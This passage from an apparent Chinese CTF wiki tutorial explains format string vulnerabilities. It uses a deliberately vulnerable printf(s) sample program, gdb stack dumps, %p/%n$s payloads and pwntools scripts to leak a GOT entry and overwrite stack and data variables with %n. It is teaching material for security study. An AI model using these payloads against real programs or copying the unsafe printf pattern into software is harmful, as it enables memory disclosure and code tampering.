Breakpoint 1, __printf (format=0x8048563 "%08x.%08x.%08x.%s\n") at printf.c:28
28 printf.c: 没有那个文件或目录.
────────────────────────────────────────────────[ code:i386 ]────
0xf7e44667 <fprintf+23> inc DWORD PTR [ebx+0x66c31cc4]
0xf7e4466d nop
0xf7e4466e xchg ax, ax
→ 0xf7e44670 <printf+0> call 0xf7f1ab09 <__x86.get_pc_thunk.ax>
↳ 0xf7f1ab09 <__x86.get_pc_thunk.ax+0> mov eax, DWORD PTR [esp]
0xf7f1ab0c <__x86.get_pc_thunk.ax+3> ret
0xf7f1ab0d <__x86.get_pc_thunk.dx+0> mov edx, DWORD PTR [esp]
0xf7f1ab10 <__x86.get_pc_thunk.dx+3> ret
──────────────────────────────────────────────[ stack ]────
['0xffffccec', 'l8']
8
0xffffccec│+0x00: 0x080484bf → <main+84> add esp, 0x20 ← $esp
0xffffccf0│+0x04: 0x08048563 → "%08x.%08x.%08x.%s"
0xffffccf4│+0x08: 0x00000001
0xffffccf8│+0x0c: 0x22222222
0xffffccfc│+0x10: 0xffffffff
0xffffcd00│+0x14: 0xffffcd10 → "%08x.%08x.%08x"
0xffffcd04│+0x18: 0xffffcd10 → "%08x.%08x.%08x"
0xffffcd08│+0x1c: 0x000000c2
```
可以看出,此时此时已经进入了printf函数中,栈中第一个变量为返回地址,第二个变量为格式化字符串的地址,第三个变量为a的值,第四个变量为b的值,第五个变量为c的值,第六个变量为我们输入的格式化字符串对应的地址。继续运行程序
```shell
gef➤ c
Continuing.
00000001.22222222.ffffffff.%08x.%08x.%08x
```
可以看出,程序确实输出了每一个变量对应的数值,并且断在了下一个printf处
```shell
Breakpoint 1, __printf (format=0xffffcd10 "%08x.%08x.%08x") at printf.c:28
28 in printf.c
───────────────────────────────────────────────────────────────[ code:i386 ]────
0xf7e44667 <fprintf+23> inc DWORD PTR [ebx+0x66c31cc4]
0xf7e4466d nop
0xf7e4466e xchg ax, ax
→ 0xf7e44670 <printf+0> call 0xf7f1ab09 <__x86.get_pc_thunk.ax>
↳ 0xf7f1ab09 <__x86.get_pc_thunk.ax+0> mov eax, DWORD PTR [esp]
0xf7f1ab0c <__x86.get_pc_thunk.ax+3> ret
0xf7f1ab0d <__x86.get_pc_thunk.dx+0> mov edx, DWORD PTR [esp]
0xf7f1ab10 <__x86.get_pc_thunk.dx+3> ret
────────────────────────────────────────────────────────[ stack ]────
['0xffffccfc', 'l8']
8
0xffffccfc│+0x00: 0x080484ce → <main+99> add esp, 0x10 ← $esp
0xffffcd00│+0x04: 0xffffcd10 → "%08x.%08x.%08x"
0xffffcd04│+0x08: 0xffffcd10 → "%08x.%08x.%08x"
0xffffcd08│+0x0c: 0x000000c2
0xffffcd0c│+0x10: 0xf7e8b6bb → <handle_intel+107> add esp, 0x10
0xffffcd10│+0x14: "%08x.%08x.%08x" ← $eax
0xffffcd14│+0x18: ".%08x.%08x"
0xffffcd18│+0x1c: "x.%08x"
```
此时,由于格式化字符串为%x%x%x,所以,程序 会将栈上的0xffffcd04及其之后的数值分别作为第一,第二,第三个参数按照int型进行解析,分别输出。继续运行,我们可以得到如下结果去,确实和想象中的一样。
```shell
gef➤ c
Continuing.
ffffcd10.000000c2.f7e8b6bb[Inferior 1 (process 57077) exited normally]
```
当然,我们也可以使用%p来获取数据,如下
```python
%p.%p.%p
00000001.22222222.ffffffff.%p.%p.%p
0xfff328c0.0xc2.0xf75c46bb
```
这里需要注意的是,并不是每次得到的结果都一样 ,因为栈上的数据会因为每次分配的内存页不同而有所不同,这是因为栈是不对内存页做初始化的。
**需要注意的是,我们上面给出的方法,都是依次获得栈中的每个参数,我们有没有办法直接获取栈中被视为第n+1个参数的值呢**?肯定是可以的啦。方法如下
```text
%n$x
```
利用如下的字符串,我们就可以获取到对应的第n+1个参数的数值。为什么这里要说是对应第n+1个参数呢?这是因为格式化参数里面的n指的是该格式化字符串对应的第n个输出参数,那相对于输出函数来说,就是第n+1个参数了。
这里我们再次以gdb调试一下。
```shell
➜ leakmemory git:(master) ✗ gdb leakmemory
gef➤ b printf
Breakpoint 1 at 0x8048330
gef➤ r
Starting program: /mnt/hgfs/Hack/ctf/ctf-wiki/pwn/fmtstr/example/leakmemory/leakmemory
%3$x
Breakpoint 1, __printf (format=0x8048563 "%08x.%08x.%08x.%s\n") at printf.c:28
28 printf.c: 没有那个文件或目录.
─────────────────────────────────────────────────[ code:i386 ]────
0xf7e44667 <fprintf+23> inc DWORD PTR [ebx+0x66c31cc4]
0xf7e4466d nop
0xf7e4466e xchg ax, ax
→ 0xf7e44670 <printf+0> call 0xf7f1ab09 <__x86.get_pc_thunk.ax>
↳ 0xf7f1ab09 <__x86.get_pc_thunk.ax+0> mov eax, DWORD PTR [esp]
0xf7f1ab0c <__x86.get_pc_thunk.ax+3> ret
0xf7f1ab0d <__x86.get_pc_thunk.dx+0> mov edx, DWORD PTR [esp]
0xf7f1ab10 <__x86.get_pc_thunk.dx+3> ret
─────────────────────────────────────────────────────[ stack ]────
['0xffffccec', 'l8']
8
0xffffccec│+0x00: 0x080484bf → <main+84> add esp, 0x20 ← $esp
0xffffccf0│+0x04: 0x08048563 → "%08x.%08x.%08x.%s"
0xffffccf4│+0x08: 0x00000001
0xffffccf8│+0x0c: 0x22222222
0xffffccfc│+0x10: 0xffffffff
0xffffcd00│+0x14: 0xffffcd10 → "%3$x"
0xffffcd04│+0x18: 0xffffcd10 → "%3$x"
0xffffcd08│+0x1c: 0x000000c2
gef➤ c
Continuing.
00000001.22222222.ffffffff.%3$x
Breakpoint 1, __printf (format=0xffffcd10 "%3$x") at printf.c:28
28 in printf.c
─────────────────────────────────────────────────────[ code:i386 ]────
0xf7e44667 <fprintf+23> inc DWORD PTR [ebx+0x66c31cc4]
0xf7e4466d nop
0xf7e4466e xchg ax, ax
→ 0xf7e44670 <printf+0> call 0xf7f1ab09 <__x86.get_pc_thunk.ax>
↳ 0xf7f1ab09 <__x86.get_pc_thunk.ax+0> mov eax, DWORD PTR [esp]
0xf7f1ab0c <__x86.get_pc_thunk.ax+3> ret
0xf7f1ab0d <__x86.get_pc_thunk.dx+0> mov edx, DWORD PTR [esp]
0xf7f1ab10 <__x86.get_pc_thunk.dx+3> ret
─────────────────────────────────────────────────────[ stack ]────
['0xffffccfc', 'l8']
8
0xffffccfc│+0x00: 0x080484ce → <main+99> add esp, 0x10 ← $esp
0xffffcd00│+0x04: 0xffffcd10 → "%3$x"
0xffffcd04│+0x08: 0xffffcd10 → "%3$x"
0xffffcd08│+0x0c: 0x000000c2
0xffffcd0c│+0x10: 0xf7e8b6bb → <handle_intel+107> add esp, 0x10
0xffffcd10│+0x14: "%3$x" ← $eax
0xffffcd14│+0x18: 0xffffce00 → 0x00000001
0xffffcd18│+0x1c: 0x000000e0
gef➤ c
Continuing.
f7e8b6bb[Inferior 1 (process 57442) exited normally]
```
可以看出,我们确实获得了printf的第4个参数所对应的值f7e8b6bb。
#### 获取栈变量对应字符串
此外,我们还可以获得栈变量对应的字符串,这其实就是需要用到%s了。这里还是使用上面的程序,进行gdb调试,如下
```shell
➜ leakmemory git:(master) ✗ gdb leakmemory
gef➤ b printf
Breakpoint 1 at 0x8048330
gef➤ r
Starting program: /mnt/hgfs/Hack/ctf/ctf-wiki/pwn/fmtstr/example/leakmemory/leakmemory
%s
Breakpoint 1, __printf (format=0x8048563 "%08x.%08x.%08x.%s\n") at printf.c:28
28 printf.c: 没有那个文件或目录.
────────────────────────────────────────────────────────────────[ code:i386 ]────
0xf7e44667 <fprintf+23> inc DWORD PTR [ebx+0x66c31cc4]
0xf7e4466d nop
0xf7e4466e xchg ax, ax
→ 0xf7e44670 <printf+0> call 0xf7f1ab09 <__x86.get_pc_thunk.ax>
↳ 0xf7f1ab09 <__x86.get_pc_thunk.ax+0> mov eax, DWORD PTR [esp]
0xf7f1ab0c <__x86.get_pc_thunk.ax+3> ret
0xf7f1ab0d <__x86.get_pc_thunk.dx+0> mov edx, DWORD PTR [esp]
0xf7f1ab10 <__x86.get_pc_thunk.dx+3> ret
────────────────────────────────────────────────────────[ stack ]────
['0xffffccec', 'l8']
8
0xffffccec│+0x00: 0x080484bf → <main+84> add esp, 0x20 ← $esp
0xffffccf0│+0x04: 0x08048563 → "%08x.%08x.%08x.%s"
0xffffccf4│+0x08: 0x00000001
0xffffccf8│+0x0c: 0x22222222
0xffffccfc│+0x10: 0xffffffff
0xffffcd00│+0x14: 0xffffcd10 → 0xff007325 ("%s"?)
0xffffcd04│+0x18: 0xffffcd10 → 0xff007325 ("%s"?)
0xffffcd08│+0x1c: 0x000000c2
gef➤ c
Continuing.
00000001.22222222.ffffffff.%s
Breakpoint 1, __printf (format=0xffffcd10 "%s") at printf.c:28
28 in printf.c
──────────────────────────────────────────────────────────[ code:i386 ]────
0xf7e44667 <fprintf+23> inc DWORD PTR [ebx+0x66c31cc4]
0xf7e4466d nop
0xf7e4466e xchg ax, ax
→ 0xf7e44670 <printf+0> call 0xf7f1ab09 <__x86.get_pc_thunk.ax>
↳ 0xf7f1ab09 <__x86.get_pc_thunk.ax+0> mov eax, DWORD PTR [esp]
0xf7f1ab0c <__x86.get_pc_thunk.ax+3> ret
0xf7f1ab0d <__x86.get_pc_thunk.dx+0> mov edx, DWORD PTR [esp]
0xf7f1ab10 <__x86.get_pc_thunk.dx+3> ret
──────────────────────────────────────────────────────────────[ stack ]────
['0xffffccfc', 'l8']
8
0xffffccfc│+0x00: 0x080484ce → <main+99> add esp, 0x10 ← $esp
0xffffcd00│+0x04: 0xffffcd10 → 0xff007325 ("%s"?)
0xffffcd04│+0x08: 0xffffcd10 → 0xff007325 ("%s"?)
0xffffcd08│+0x0c: 0x000000c2
0xffffcd0c│+0x10: 0xf7e8b6bb → <handle_intel+107> add esp, 0x10
0xffffcd10│+0x14: 0xff007325 ("%s"?) ← $eax
0xffffcd14│+0x18: 0xffffce3c → 0xffffd074 → "XDG_SEAT_PATH=/org/freedesktop/DisplayManager/Seat[...]"
0xffffcd18│+0x1c: 0x000000e0
gef➤ c
Continuing.
%s[Inferior 1 (process 57488) exited normally]
```
可以看出,在第二次执行printf函数的时候,确实是将0xffffcd04处的变量视为字符串变量,输出了其数值所对应的地址处的字符串。
**当然,并不是所有这样的都会正常运行,如果对应的变量不能够被解析为字符串地址,那么,程序就会直接崩溃。**
此外,我们也可以指定获取栈上第几个参数作为格式化字符串输出,比如我们指定第printf的第3个参数,如下,此时程序就不能够解析,就崩溃了。
```shell
➜ leakmemory git:(master) ✗ ./leakmemory
%2$s
00000001.22222222.ffffffff.%2$s
[1] 57534 segmentation fault (core dumped) ./leakmemory
```
**小技巧总结**
> 1. 利用%x来获取对应栈的内存,但建议使用%p,可以不用考虑位数的区别。
> 2. 利用%s来获取变量所对应地址的内容,只不过有零截断。
> 3. 利用%order\$x来获取指定参数的值,利用%order\$s来获取指定参数对应地址的内容。
### 泄露任意地址内存
可以看出,在上面无论是泄露栈上连续的变量,还是说泄露指定的变量值,我们都没能完全控制我们所要泄露的变量的地址。这样的泄露固然有用,可是却不够强力有效。有时候,我们可能会想要泄露某一个libc函数的got表内容,从而得到其地址,进而获取libc版本以及其他函数的地址,这时候,能够完全控制泄露某个指定地址的内存就显得很重要了。那么我们究竟能不能这样做呢?自然也是可以的啦。
我们再仔细回想一下,一般来说,在格式化字符串漏洞中,我们所读取的格式化字符串都是在栈上的(因为是某个函数的局部变量,本例中s是main函数的局部变量)。那么也就是说,在调用输出函数的时候,其实,第一个参数的值其实就是该格式化字符串的地址。我们选择上面的某个函数调用为例
```shell
Breakpoint 1, __printf (format=0xffffcd10 "%s") at printf.c:28
28 in printf.c
──────────────────────────────────────────────────────────[ code:i386 ]────
0xf7e44667 <fprintf+23> inc DWORD PTR [ebx+0x66c31cc4]
0xf7e4466d nop
0xf7e4466e xchg ax, ax
→ 0xf7e44670 <printf+0> call 0xf7f1ab09 <__x86.get_pc_thunk.ax>
↳ 0xf7f1ab09 <__x86.get_pc_thunk.ax+0> mov eax, DWORD PTR [esp]
0xf7f1ab0c <__x86.get_pc_thunk.ax+3> ret
0xf7f1ab0d <__x86.get_pc_thunk.dx+0> mov edx, DWORD PTR [esp]
0xf7f1ab10 <__x86.get_pc_thunk.dx+3> ret
──────────────────────────────────────────────────────────────[ stack ]────
['0xffffccfc', 'l8']
8
0xffffccfc│+0x00: 0x080484ce → <main+99> add esp, 0x10 ← $esp
0xffffcd00│+0x04: 0xffffcd10 → 0xff007325 ("%s"?)
0xffffcd04│+0x08: 0xffffcd10 → 0xff007325 ("%s"?)
0xffffcd08│+0x0c: 0x000000c2
0xffffcd0c│+0x10: 0xf7e8b6bb → <handle_intel+107> add esp, 0x10
0xffffcd10│+0x14: 0xff007325 ("%s"?) ← $eax
0xffffcd14│+0x18: 0xffffce3c → 0xffffd074 → "XDG_SEAT_PATH=/org/freedesktop/DisplayManager/Seat[...]"
0xffffcd18│+0x1c: 0x000000e0
```
可以看出在栈上的第二个变量就是我们的格式化字符串地址0xffffcd10,同时该地址存储的也确实是"%s"格式化字符串内容。
那么由于我们可以控制该格式化字符串,如果我们知道该格式化字符串在输出函数调用时是第几个参数,这里假设该格式化字符串相对函数调用为第k个参数。那我们就可以通过如下的方式来获取某个指定地址addr的内容。
```
addr%k$s
```
> 注: 在这里,如果格式化字符串在栈上,那么我们就一定确定格式化字符串的相对偏移,这是因为在函数调用的时候栈指针至少低于格式化字符串地址8字节或者16字节。
下面就是如何确定该格式化字符串为第几个参数的问题了,我们可以通过如下方式确定
```text
[tag]%p%p%p%p%p%p...
```
一般来说,我们会重复某个字符的机器字长来作为tag,而后面会跟上若干个%p来输出栈上的内容,如果内容与我们前面的tag重复了,那么我们就可以有很大把握说明该地址就是格式化字符串的地址,之所以说是有很大把握,这是因为不排除栈上有一些临时变量也是该数值。一般情况下,极其少见,我们也可以更换其他字符进行尝试,进行再次确认。这里我们利用字符'A'作为特定字符,同时还是利用之前编译好的程序,如下
```shell
➜ leakmemory git:(master) ✗ ./leakmemory
AAAA%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p
00000001.22222222.ffffffff.AAAA%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p
AAAA0xffaab1600xc20xf76146bb0x414141410x702570250x702570250x702570250x702570250x702570250x702570250x702570250x70250xffaab2240xf77360000xaec7%
```
由0x41414141处所在的位置可以看出我们的格式化字符串的起始地址正好是输出函数的第5个参数,但是是格式化字符串的第4个参数。我们可以来测试一下
```shell
➜ leakmemory git:(master) ✗ ./leakmemory
%4$s
00000001.22222222.ffffffff.%4$s
[1] 61439 segmentation fault (core dumped) ./leakmemory
```
可以看出,我们的程序崩溃了,为什么呢?这是因为我们试图将该格式化字符串所对应的值作为地址进行解析,但是显然该值没有办法作为一个合法的地址被解析,,所以程序就崩溃了。具体的可以参考下面的调试。
```shell
→ 0xf7e44670 <printf+0> call 0xf7f1ab09 <__x86.get_pc_thunk.ax>
↳ 0xf7f1ab09 <__x86.get_pc_thunk.ax+0> mov eax, DWORD PTR [esp]
0xf7f1ab0c <__x86.get_pc_thunk.ax+3> ret
0xf7f1ab0d <__x86.get_pc_thunk.dx+0> mov edx, DWORD PTR [esp]
0xf7f1ab10 <__x86.get_pc_thunk.dx+3> ret
───────────────────────────────────────────────────────────────────[ stack ]────
['0xffffcd0c', 'l8']
8
0xffffcd0c│+0x00: 0x080484ce → <main+99> add esp, 0x10 ← $esp
0xffffcd10│+0x04: 0xffffcd20 → "%4$s"
0xffffcd14│+0x08: 0xffffcd20 → "%4$s"
0xffffcd18│+0x0c: 0x000000c2
0xffffcd1c│+0x10: 0xf7e8b6bb → <handle_intel+107> add esp, 0x10
0xffffcd20│+0x14: "%4$s" ← $eax
0xffffcd24│+0x18: 0xffffce00 → 0x00000000
0xffffcd28│+0x1c: 0x000000e0
───────────────────────────────────────────────────────────────────[ trace ]────
[#0] 0xf7e44670 → Name: __printf(format=0xffffcd20 "%4$s")
[#1] 0x80484ce → Name: main()
────────────────────────────────────────────────────────────────────────────────
gef➤ help x/
Examine memory: x/FMT ADDRESS.
ADDRESS is an expression for the memory address to examine.
FMT is a repeat count followed by a format letter and a size letter.
Format letters are o(octal), x(hex), d(decimal), u(unsigned decimal),
t(binary), f(float), a(address), i(instruction), c(char), s(string)
and z(hex, zero padded on the left).
Size letters are b(byte), h(halfword), w(word), g(giant, 8 bytes).
The specified number of objects of the specified size are printed
according to the format.
Defaults for format and size letters are those previously used.
Default count is 1. Default address is following last thing printed
with this command or "print".
gef➤ x/x 0xffffcd20
0xffffcd20: 0x73243425
gef➤ vmmap
Start End Offset Perm Path
0x08048000 0x08049000 0x00000000 r-x /mnt/hgfs/Hack/ctf/ctf-wiki/pwn/fmtstr/example/leakmemory/leakmemory
0x08049000 0x0804a000 0x00000000 r-- /mnt/hgfs/Hack/ctf/ctf-wiki/pwn/fmtstr/example/leakmemory/leakmemory
0x0804a000 0x0804b000 0x00001000 rw- /mnt/hgfs/Hack/ctf/ctf-wiki/pwn/fmtstr/example/leakmemory/leakmemory
0x0804b000 0x0806c000 0x00000000 rw- [heap]
0xf7dfb000 0xf7fab000 0x00000000 r-x /lib/i386-linux-gnu/libc-2.23.so
0xf7fab000 0xf7fad000 0x001af000 r-- /lib/i386-linux-gnu/libc-2.23.so
0xf7fad000 0xf7fae000 0x001b1000 rw- /lib/i386-linux-gnu/libc-2.23.so
0xf7fae000 0xf7fb1000 0x00000000 rw-
0xf7fd3000 0xf7fd5000 0x00000000 rw-
0xf7fd5000 0xf7fd7000 0x00000000 r-- [vvar]
0xf7fd7000 0xf7fd9000 0x00000000 r-x [vdso]
0xf7fd9000 0xf7ffb000 0x00000000 r-x /lib/i386-linux-gnu/ld-2.23.so
0xf7ffb000 0xf7ffc000 0x00000000 rw-
0xf7ffc000 0xf7ffd000 0x00022000 r-- /lib/i386-linux-gnu/ld-2.23.so
0xf7ffd000 0xf7ffe000 0x00023000 rw- /lib/i386-linux-gnu/ld-2.23.so
0xffedd000 0xffffe000 0x00000000 rw- [stack]
gef➤ x/x 0x73243425
0x73243425: Cannot access memory at address 0x73243425
```
显然0xffffcd20处所对应的格式化字符串所对应的变量值0x73243425并不能够被改程序访问,所以程序就自然崩溃了。
那么如果我们设置一个可访问的地址呢?比如说scanf@got,结果会怎么样呢?应该自然是输出scanf对应的地址了。我们不妨来试一下。
首先,获取scanf@got的地址,如下
> 这里之所以没有使用printf函数,是因为scanf函数会对0a,0b,0c,00等字符有一些奇怪的处理,,导致无法正常读入,,感兴趣的可以试试。。。。
```shell
gef➤ got
/mnt/hgfs/Hack/ctf/ctf-wiki/pwn/fmtstr/example/leakmemory/leakmemory: 文件格式 elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049ffc R_386_GLOB_DAT __gmon_start__
0804a00c R_386_JUMP_SLOT printf@GLIBC_2.0
0804a010 R_386_JUMP_SLOT __libc_start_main@GLIBC_2.0
0804a014 R_386_JUMP_SLOT __isoc99_scanf@GLIBC_2.7
```
下面我们利用pwntools构造payload如下
```python
from pwn import *
sh = process('./leakmemory')
leakmemory = ELF('./leakmemory')
__isoc99_scanf_got = leakmemory.got['__isoc99_scanf']
print hex(__isoc99_scanf_got)
payload = p32(__isoc99_scanf_got) + '%4$s'
print payload
gdb.attach(sh)
sh.sendline(payload)
sh.recvuntil('%4$s\n')
print hex(u32(sh.recv()[4:8])) # remove the first bytes of __isoc99_scanf@got
sh.interactive()
```
其中,我们使用gdb.attach(sh)来进行调试。当我们运行到第二个printf函数的时候(记得下断点),可以看到我们的第四个参数确实指向我们的scanf的地址,这里输出
```python
→ 0xf7615670 <printf+0> call 0xf76ebb09 <__x86.get_pc_thunk.ax>
↳ 0xf76ebb09 <__x86.get_pc_thunk.ax+0> mov eax, DWORD PTR [esp]
0xf76ebb0c <__x86.get_pc_thunk.ax+3> ret
0xf76ebb0d <__x86.get_pc_thunk.dx+0> mov edx, DWORD PTR [esp]
0xf76ebb10 <__x86.get_pc_thunk.dx+3> ret
───────────────────────────────────────────────────────────────────[ stack ]────
['0xffbbf8dc', 'l8']
8
0xffbbf8dc│+0x00: 0x080484ce → <main+99> add esp, 0x10 ← $esp
0xffbbf8e0│+0x04: 0xffbbf8f0 → 0x0804a014 → 0xf76280c0 → <__isoc99_scanf+0> push ebp
0xffbbf8e4│+0x08: 0xffbbf8f0 → 0x0804a014 → 0xf76280c0 → <__isoc99_scanf+0> push ebp
0xffbbf8e8│+0x0c: 0x000000c2
0xffbbf8ec│+0x10: 0xf765c6bb → <handle_intel+107> add esp, 0x10
0xffbbf8f0│+0x14: 0x0804a014 → 0xf76280c0 → <__isoc99_scanf+0> push ebp ← $eax
0xffbbf8f4│+0x18: "%4$s"
0xffbbf8f8│+0x1c: 0x00000000
```
同时,在我们运行的terminal下
```python
➜ leakmemory git:(master) ✗ python exploit.py
[+] Starting local process './leakmemory': pid 65363
[*] '/mnt/hgfs/Hack/ctf/ctf-wiki/pwn/fmtstr/example/leakmemory/leakmemory'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
0x804a014
\x14\xa0\x0%4$s
[*] running in new terminal: /usr/bin/gdb -q "/mnt/hgfs/Hack/ctf/ctf-wiki/pwn/fmtstr/example/leakmemory/leakmemory" 65363
[+] Waiting for debugger: Done
0xf76280c0
[*] Switching to interactive mode
[*] Process './leakmemory' stopped with exit code 0 (pid 65363)
[*] Got EOF while reading in interactiv
```
我们确实得到了scanf的地址。
但是,并不是说所有的偏移机器字长的整数倍,可以让我们直接相应参数来获取,有时候,我们需要对我们输入的格式化字符串进行填充,来使得我们想要打印的地址内容的地址位于机器字长整数倍的地址处,一般来说,类似于下面的这个样子。
```text
[padding][addr]
```
注意
> 我们不能直接在命令行输入\x0c\xa0\x04\x08%4$s这是因为虽然前面的确实是printf@got的地址,但是,scanf函数并不会将其识别为对应的字符串,而是会将\,x,0,c分别作为一个字符进行读入。下面就是错误的例子。
>
> ```shell
> 0xffffccfc│+0x00: 0x080484ce → <main+99> add esp, 0x10 ← $esp
> 0xffffcd00│+0x04: 0xffffcd10 → "\x0c\xa0\x04\x08%4$s"
> 0xffffcd04│+0x08: 0xffffcd10 → "\x0c\xa0\x04\x08%4$s"
> 0xffffcd08│+0x0c: 0x000000c2
> 0xffffcd0c│+0x10: 0xf7e8b6bb → <handle_intel+107> add esp, 0x10
> 0xffffcd10│+0x14: "\x0c\xa0\x04\x08%4$s" ← $eax
> 0xffffcd14│+0x18: "\xa0\x04\x08%4$s"
> 0xffffcd18│+0x1c: "\x04\x08%4$s"
> ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]────
> [#0] 0xf7e44670 → Name: __printf(format=0xffffcd10 "\\x0c\\xa0\\x04\\x08%4$s")
> [#1] 0x80484ce → Name: main()
> ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
> gef➤ x/x 0xffffcd10
> 0xffffcd10: 0x6330785c
> ```
## 覆盖内存
上面,我们已经展示了如何利用格式化字符串来泄露栈内存以及任意地址内存,那么我们有没有可能修改栈上变量的值呢,甚至修改任意地址变量的内存呢?答案是可行的,只要变量对应的地址可写,我们就可以利用格式化字符串来修改其对应的数值。这里我们可以想一下格式化字符串中的类型
```
%n,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。
```
通过这个类型参数,再加上一些小技巧,我们就可以达到我们的目的,这里仍然分为两部分,一部分为覆盖栈上的变量,第二部分为覆盖指定地址的变量。
这里我们给出如下的程序来介绍相应的部分。
``` c
/* example/overflow/overflow.c */
#include <stdio.h>
int a = 123, b = 456;
int main() {
int c = 789;
char s[100];
printf("%p\n", &c);
scanf("%s", s);
printf(s);
if (c == 16) {
puts("modified c.");
} else if (a == 2) {
puts("modified a for a small number.");
} else if (b == 0x12345678) {
puts("modified b for a big number!");
}
return 0;
}
```
makefile在对应的文件夹中。而无论是覆盖哪个地址的变量,我们基本上都是构造类似如下的payload
```text
...[overwrite addr]....%[overwrite offset]$n
```
其中...表示我们的填充内容,overwrite addr 表示我们所要覆盖的地址,overwrite offset地址表示我们所要覆盖的地址存储的位置为输出函数的格式化字符串的第几个参数。所以一般来说,也是如下步骤
- 确定覆盖地址
- 确定相对偏移
- 进行覆盖
### 覆盖栈内存
#### 确定覆盖地址
首先,我们自然是来想办法知道栈变量c的地址。由于目前几乎上所有的程序都开启了aslr保护,所以栈的地址一直在变,所以我们这里故意输出了c变量的地址。
#### 确定相对偏移
其次,我们来确定一下存储格式化字符串的地址是printf将要输出的第几个参数()。 这里我们通过之前的泄露栈变量数值的方法来进行操作。通过调试
```shell
→ 0xf7e44670 <printf+0> call 0xf7f1ab09 <__x86.get_pc_thunk.ax>
↳ 0xf7f1ab09 <__x86.get_pc_thunk.ax+0> mov eax, DWORD PTR [esp]
0xf7f1ab0c <__x86.get_pc_thunk.ax+3> ret
0xf7f1ab0d <__x86.get_pc_thunk.dx+0> mov edx, DWORD PTR [esp]
0xf7f1ab10 <__x86.get_pc_thunk.dx+3> ret
────────────────────────────────────────────────────────────────────────────────────[ stack ]────
['0xffffcd0c', 'l8']
8
0xffffcd0c│+0x00: 0x080484d7 → <main+76> add esp, 0x10 ← $esp
0xffffcd10│+0x04: 0xffffcd28 → "%d%d"
0xffffcd14│+0x08: 0xffffcd8c → 0x00000315
0xffffcd18│+0x0c: 0x000000c2
0xffffcd1c│+0x10: 0xf7e8b6bb → <handle_intel+107> add esp, 0x10
0xffffcd20│+0x14: 0xffffcd4e → 0xffff0000 → 0x00000000
0xffffcd24│+0x18: 0xffffce4c → 0xffffd07a → "XDG_SEAT_PATH=/org/freedesktop/DisplayManager/Seat[...]"
0xffffcd28│+0x1c: "%d%d" ← $eax
```
我们可以发现在0xffffcd14处存储着变量c的数值。继而,我们再确定格式化字符串'%d%d'的地址0xffffcd28相对于printf函数的格式化字符串参数0xffffcd10的偏移为0x18,即格式化字符串相当于printf函数的第7个参数,相当于格式化字符串的第6个参数。
#### 进行覆盖
这样,第6个参数处的值就是存储变量c的地址,我们便可以利用%n的特征来修改c的值。payload如下
```text
[addr of c]%012d%6$n
```
addr of c 的长度为4,故而我们得再输入12个字符才可以达到16个字符,以便于来修改c的值为16。
具体脚本如下
```python
def forc():
sh = process('./overwrite')
c_addr = int(sh.recvuntil('\n', drop=True), 16)
print hex(c_addr)
payload = p32(c_addr) + '%012d' + '%6$n'
print payload
#gdb.attach(sh)
sh.sendline(payload)
print sh.recv()
sh.interactive()
forc()
```
结果如下
```shell
➜ overwrite git:(master) ✗ python exploit.py
[+] Starting local process './overwrite': pid 74806
0xfffd8cdc
܌��%012d%6$n
܌��-00000160648modified c.
```
### 覆盖任意地址内存
#### 覆盖小数字
首先,我们来考虑一下如何修改data段的变量为一个较小的数字,比如说,**小于机器字长的数字**。这里以2为例。可能会觉得这其实没有什么区别,可仔细一想,真的没有么?如果我们还是将要覆盖的地址放在最前面,那么将直接占用机器字长个(4或8)字节。显然,无论之后如何输出,都只会比4大。
> 或许我们可以使用整形溢出来修改对应的地址的值,但是这样将面临着我们得一次输出大量的内容。而这,一般情况下,基本都不会攻击成功。
那么我们应该怎么做呢?再仔细想一下,我们有必要将所要覆盖的变量的地址放在字符串的最前面么?似乎没有,我们当时只是为了寻找偏移,所以才把tag放在字符串的最前面,如果我们把tag放在中间,其实也是无妨的。类似的,我们把地址放在中间,只要能够找到对应的偏移,其照样也可以得到对应的数值。前面已经说了我们的格式化字符串的为第6个参数。由于我们想要把2写到对应的地址处,故而格式化字符串的前面的字节必须是
```text
aa%k$nxx
```
此时对应的存储的格式化字符串已经占据了6个字符的位置,如果我们再添加两个字符aa,那么其实aa%k就是第6个参数,$nxx其实就是第7个参数,后面我们如果跟上我们要覆盖的地址,那就是第8个参数,所以如果我们这里设置k为8,其实就可以覆盖了。
利用ida可以得到a的地址为0x0804A024(由于a、b是已初始化的全局变量,因此不在堆栈中)。
```asm
.data:0804A024 public a
.data:0804A024 a dd 7Bh
```
故而我们可以构造如下的利用代码
```python
def fora():
sh = process('./overwrite')
a_addr = 0x0804A024
payload = 'aa%8$naa' + p32(a_addr)
sh.sendline(payload)
print sh.recv()
sh.interactive()
```
对应的结果如下
```shell
➜ overwrite git:(master) ✗ python exploit.py
[+] Starting local process './overwrite': pid 76508
[*] Process './overwrite' stopped with exit code 0 (pid 76508)
0xffc1729c
aaaa$\xa0\x0modified a for a small number.
```
其实,这里我们需要掌握的小技巧就是,我们没有必要把地址放在最前面,放在哪里都可以,只要我们可以找到其对应的偏移即可。
#### 覆盖大数字
上面介绍了覆盖小数字,这里我们介绍如何覆盖大数字。上面我们也说了,我们可以选择直接一次性输出大数字个字节来进行覆盖,但是这样基本也不会成功,因为太长了。而且即使成功,我们一次性等待的时间也太长了,那么有没有什么比较好的方式呢?自然是有了。
不过在介绍之前,我们得先再简单了解一下,变量在内存中的存储格式。首先,所有的变量在内存中都是以字节进行存储的。此外,在x86和x64的体系结构中,变量的存储格式为以小端存储,即最低有效位存储在低地址。举个例子,0x12345678在内存中由低地址到高地址依次为\x78\x56\x34\x12。再者,我们可以回忆一下格式化字符串里面的标志,可以发现有这么两个标志:
```text
hh 对于整数类型,printf期待一个从char提升的int尺寸的整型参数。
h 对于整数类型,printf期待一个从short提升的int尺寸的整型参数。
```
所以说,我们可以利用%hhn向某个地址写入单字节,利用%hn向某个地址写入双字节。这里,我们以单字节为例。
首先,我们还是要确定的是要覆盖的地址为多少,利用ida看一下,可以发现地址为0x0804A028。
```text
.data:0804A028 public b
.data:0804A028 b dd 1C8h ; DATA XREF: main:loc_8048510r
```
即我们希望将按照如下方式进行覆盖,前面为覆盖地址,后面为覆盖内容。
```text
